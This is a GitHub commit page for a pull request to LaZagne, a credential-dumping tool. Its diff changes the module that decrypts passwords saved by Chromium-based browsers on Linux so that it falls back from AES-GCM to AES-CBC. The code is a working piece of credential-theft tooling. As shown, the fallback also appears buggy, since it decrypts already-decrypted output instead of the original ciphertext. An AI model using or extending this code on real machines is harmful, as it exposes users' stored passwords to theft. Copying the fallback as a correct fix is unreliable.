Skip to content

Commit

Permalink
Merge pull request #651 from miguel090/fix_chrome_decryption_mode
Browse files Browse the repository at this point in the history
Fix issue with large passwords
  • Loading branch information
AlessandroZ authored Oct 18, 2024
2 parents 3ed06c7 + 6ed0181 commit 9da4b87
Showing 1 changed file with 7 additions and 3 deletions.
10 changes: 7 additions & 3 deletions Linux/lazagne/softwares/browsers/chromium_based.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,11 +56,11 @@ def remove_padding(self, data):
self.debug(traceback.format_exc())
return data

def _decrypt_v80(self, buff, master_key):
def _decrypt_v80(self, buff, master_key, AES_mode):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
cipher = AES.new(master_key, AES_mode, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16] # .decode() # remove suffix bytes
return decrypted_pass
Expand Down Expand Up @@ -107,7 +107,11 @@ def get_passwords(self, path):
password = self.chrome_decrypt(password, key=enc_key, init_vector=self.enc_config['iv'])
password = password if python_version == 2 else password.decode()
except UnicodeDecodeError:
password = self._decrypt_v80(password, enc_key)
password = self._decrypt_v80(password, enc_key, AES.MODE_GCM)
try:
password=password.decode()
except UnicodeDecodeError :
password = self._decrypt_v80(password, enc_key, AES.MODE_CBC)
if password:
break
else:
Expand Down

0 comments on commit 9da4b87

Please sign in to comment.